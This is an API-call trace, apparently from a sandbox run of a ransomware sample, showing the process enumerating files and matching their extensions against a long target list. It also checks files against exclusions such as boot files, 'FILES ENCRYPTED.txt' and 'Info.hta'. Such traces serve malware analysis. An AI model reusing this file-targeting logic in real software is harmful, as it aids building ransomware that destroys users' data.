	[0164.978] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH") returned 100
	[0164.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0165.115] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.115] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0165.115] lstrlenW (lpString="index.html") returned 10
	[0165.115] lstrlenW (lpString=".1cd") returned 4
	[0165.115] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.115] lstrlenW (lpString=".3ds") returned 4
	[0165.115] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.115] lstrlenW (lpString=".3fr") returned 4
	[0165.115] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.115] lstrlenW (lpString=".3g2") returned 4
	[0165.115] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.115] lstrlenW (lpString=".3gp") returned 4
	[0165.115] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.115] lstrlenW (lpString=".7z") returned 3
	[0165.115] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.115] lstrlenW (lpString=".accda") returned 6
	[0165.115] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0165.115] lstrlenW (lpString=".accdb") returned 6
	[0165.115] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0165.115] lstrlenW (lpString=".accdc") returned 6
	[0165.115] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0165.116] lstrlenW (lpString=".accde") returned 6
	[0165.116] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0165.116] lstrlenW (lpString=".accdt") returned 6
	[0165.116] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0165.116] lstrlenW (lpString=".accdw") returned 6
	[0165.116] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0165.116] lstrlenW (lpString=".adb") returned 4
	[0165.116] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".adp") returned 4
	[0165.116] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ai") returned 3
	[0165.116] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.116] lstrlenW (lpString=".ai3") returned 4
	[0165.116] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ai4") returned 4
	[0165.116] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ai5") returned 4
	[0165.116] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ai6") returned 4
	[0165.116] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ai7") returned 4
	[0165.116] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ai8") returned 4
	[0165.116] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".anim") returned 5
	[0165.116] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.116] lstrlenW (lpString=".arw") returned 4
	[0165.116] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".as") returned 3
	[0165.116] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.116] lstrlenW (lpString=".asa") returned 4
	[0165.116] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".asc") returned 4
	[0165.116] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.116] lstrlenW (lpString=".ascx") returned 5
	[0165.116] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.117] lstrlenW (lpString=".asm") returned 4
	[0165.117] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".asmx") returned 5
	[0165.117] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.117] lstrlenW (lpString=".asp") returned 4
	[0165.117] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".aspx") returned 5
	[0165.117] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.117] lstrlenW (lpString=".asr") returned 4
	[0165.117] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".asx") returned 4
	[0165.117] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".avi") returned 4
	[0165.117] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".avs") returned 4
	[0165.117] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".backup") returned 7
	[0165.117] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0165.117] lstrlenW (lpString=".bak") returned 4
	[0165.117] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".bay") returned 4
	[0165.117] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".bd") returned 3
	[0165.117] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.117] lstrlenW (lpString=".bin") returned 4
	[0165.117] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".bmp") returned 4
	[0165.117] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".bz2") returned 4
	[0165.117] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".c") returned 2
	[0165.117] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.117] lstrlenW (lpString=".cdr") returned 4
	[0165.117] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.117] lstrlenW (lpString=".cer") returned 4
	[0165.118] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".cf") returned 3
	[0165.118] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.118] lstrlenW (lpString=".cfc") returned 4
	[0165.118] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".cfm") returned 4
	[0165.118] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".cfml") returned 5
	[0165.118] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.118] lstrlenW (lpString=".cfu") returned 4
	[0165.118] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".chm") returned 4
	[0165.118] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".cin") returned 4
	[0165.118] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".class") returned 6
	[0165.118] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0165.118] lstrlenW (lpString=".clx") returned 4
	[0165.118] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".config") returned 7
	[0165.118] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0165.118] lstrlenW (lpString=".cpp") returned 4
	[0165.118] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".cr2") returned 4
	[0165.118] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".crt") returned 4
	[0165.118] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".crw") returned 4
	[0165.118] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".cs") returned 3
	[0165.118] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.118] lstrlenW (lpString=".css") returned 4
	[0165.118] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.118] lstrlenW (lpString=".csv") returned 4
	[0165.119] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".cub") returned 4
	[0165.119] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dae") returned 4
	[0165.119] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dat") returned 4
	[0165.119] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".db") returned 3
	[0165.119] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.119] lstrlenW (lpString=".dbf") returned 4
	[0165.119] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dbx") returned 4
	[0165.119] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dc3") returned 4
	[0165.119] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dcm") returned 4
	[0165.119] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dcr") returned 4
	[0165.119] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".der") returned 4
	[0165.119] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dib") returned 4
	[0165.119] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dic") returned 4
	[0165.119] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".dif") returned 4
	[0165.119] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".divx") returned 5
	[0165.119] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.119] lstrlenW (lpString=".djvu") returned 5
	[0165.119] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.119] lstrlenW (lpString=".dng") returned 4
	[0165.119] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.119] lstrlenW (lpString=".doc") returned 4
	[0165.119] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".docm") returned 5
	[0165.120] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.120] lstrlenW (lpString=".docx") returned 5
	[0165.120] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.120] lstrlenW (lpString=".dot") returned 4
	[0165.120] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dotm") returned 5
	[0165.120] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.120] lstrlenW (lpString=".dotx") returned 5
	[0165.120] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.120] lstrlenW (lpString=".dpx") returned 4
	[0165.120] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dqy") returned 4
	[0165.120] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dsn") returned 4
	[0165.120] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dt") returned 3
	[0165.120] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.120] lstrlenW (lpString=".dtd") returned 4
	[0165.120] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dwg") returned 4
	[0165.120] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dwt") returned 4
	[0165.120] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".dx") returned 3
	[0165.120] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.120] lstrlenW (lpString=".dxf") returned 4
	[0165.120] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".edml") returned 5
	[0165.120] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.120] lstrlenW (lpString=".efd") returned 4
	[0165.120] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".elf") returned 4
	[0165.120] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.120] lstrlenW (lpString=".emf") returned 4
	[0165.120] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".emz") returned 4
	[0165.121] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".epf") returned 4
	[0165.121] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".eps") returned 4
	[0165.121] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".epsf") returned 5
	[0165.121] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.121] lstrlenW (lpString=".epsp") returned 5
	[0165.121] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.121] lstrlenW (lpString=".erf") returned 4
	[0165.121] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".exr") returned 4
	[0165.121] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".f4v") returned 4
	[0165.121] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".fido") returned 5
	[0165.121] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.121] lstrlenW (lpString=".flm") returned 4
	[0165.121] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".flv") returned 4
	[0165.121] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".frm") returned 4
	[0165.121] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".fxg") returned 4
	[0165.121] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".geo") returned 4
	[0165.121] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".gif") returned 4
	[0165.121] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".grs") returned 4
	[0165.121] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.121] lstrlenW (lpString=".gz") returned 3
	[0165.121] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.121] lstrlenW (lpString=".h") returned 2
	[0165.121] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.122] lstrlenW (lpString=".hdr") returned 4
	[0165.122] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.122] lstrlenW (lpString=".hpp") returned 4
	[0165.122] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.122] lstrlenW (lpString=".hta") returned 4
	[0165.122] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.122] lstrlenW (lpString=".htc") returned 4
	[0165.122] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.122] lstrlenW (lpString=".htm") returned 4
	[0165.122] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.122] lstrlenW (lpString=".html") returned 5
	[0165.122] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.122] lstrlenW (lpString="index.html") returned 10
	[0165.122] lstrlenW (lpString=".GTF") returned 4
	[0165.122] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0165.122] lstrlenW (lpString="index.html") returned 10
	[0165.122] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0165.122] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0165.122] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0165.122] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0165.122] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0165.122] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0165.122] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0165.122] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0165.122] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html") returned 111
	[0165.122] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0165.122] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0165.122] lstrlenW (lpString=".1cd") returned 4
	[0165.122] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0165.122] lstrlenW (lpString=".3ds") returned 4
	[0165.122] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0165.122] lstrlenW (lpString=".3fr") returned 4
	[0165.123] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".3g2") returned 4
	[0165.123] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".3gp") returned 4
	[0165.123] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".7z") returned 3
	[0165.123] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0165.123] lstrlenW (lpString=".accda") returned 6
	[0165.123] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0165.123] lstrlenW (lpString=".accdb") returned 6
	[0165.123] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0165.123] lstrlenW (lpString=".accdc") returned 6
	[0165.123] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0165.123] lstrlenW (lpString=".accde") returned 6
	[0165.123] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0165.123] lstrlenW (lpString=".accdt") returned 6
	[0165.123] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0165.123] lstrlenW (lpString=".accdw") returned 6
	[0165.123] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0165.123] lstrlenW (lpString=".adb") returned 4
	[0165.123] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".adp") returned 4
	[0165.123] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".ai") returned 3
	[0165.123] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0165.123] lstrlenW (lpString=".ai3") returned 4
	[0165.123] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".ai4") returned 4
	[0165.123] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".ai5") returned 4
	[0165.123] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".ai6") returned 4
	[0165.123] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0165.123] lstrlenW (lpString=".ai7") returned 4
	[0165.123] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".ai8") returned 4
	[0165.124] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".anim") returned 5
	[0165.124] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0165.124] lstrlenW (lpString=".arw") returned 4
	[0165.124] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".as") returned 3
	[0165.124] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0165.124] lstrlenW (lpString=".asa") returned 4
	[0165.124] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".asc") returned 4
	[0165.124] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".ascx") returned 5
	[0165.124] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0165.124] lstrlenW (lpString=".asm") returned 4
	[0165.124] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".asmx") returned 5
	[0165.124] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0165.124] lstrlenW (lpString=".asp") returned 4
	[0165.124] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".aspx") returned 5
	[0165.124] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0165.124] lstrlenW (lpString=".asr") returned 4
	[0165.124] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".asx") returned 4
	[0165.124] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".avi") returned 4
	[0165.124] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".avs") returned 4
	[0165.124] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".backup") returned 7
	[0165.124] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0165.124] lstrlenW (lpString=".bak") returned 4
	[0165.124] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0165.124] lstrlenW (lpString=".bay") returned 4
	[0165.124] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".bd") returned 3
	[0165.125] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0165.125] lstrlenW (lpString=".bin") returned 4
	[0165.125] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".bmp") returned 4
	[0165.125] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".bz2") returned 4
	[0165.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".c") returned 2
	[0165.125] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.125] lstrlenW (lpString=".cdr") returned 4
	[0165.125] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".cer") returned 4
	[0165.125] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".cf") returned 3
	[0165.125] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0165.125] lstrlenW (lpString=".cfc") returned 4
	[0165.125] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".cfm") returned 4
	[0165.125] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".cfml") returned 5
	[0165.125] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0165.125] lstrlenW (lpString=".cfu") returned 4
	[0165.125] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".chm") returned 4
	[0165.125] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".cin") returned 4
	[0165.125] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".class") returned 6
	[0165.125] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0165.125] lstrlenW (lpString=".clx") returned 4
	[0165.125] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0165.125] lstrlenW (lpString=".config") returned 7
	[0165.125] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0165.125] lstrlenW (lpString=".cpp") returned 4
	[0165.125] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".cr2") returned 4
	[0165.126] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".crt") returned 4
	[0165.126] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".crw") returned 4
	[0165.126] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".cs") returned 3
	[0165.126] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0165.126] lstrlenW (lpString=".css") returned 4
	[0165.126] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".csv") returned 4
	[0165.126] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".cub") returned 4
	[0165.126] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dae") returned 4
	[0165.126] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dat") returned 4
	[0165.126] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".db") returned 3
	[0165.126] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0165.126] lstrlenW (lpString=".dbf") returned 4
	[0165.126] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dbx") returned 4
	[0165.126] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dc3") returned 4
	[0165.126] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dcm") returned 4
	[0165.126] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dcr") returned 4
	[0165.126] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".der") returned 4
	[0165.126] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0165.126] lstrlenW (lpString=".dib") returned 4
	[0165.126] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dic") returned 4
	[0165.127] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dif") returned 4
	[0165.127] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".divx") returned 5
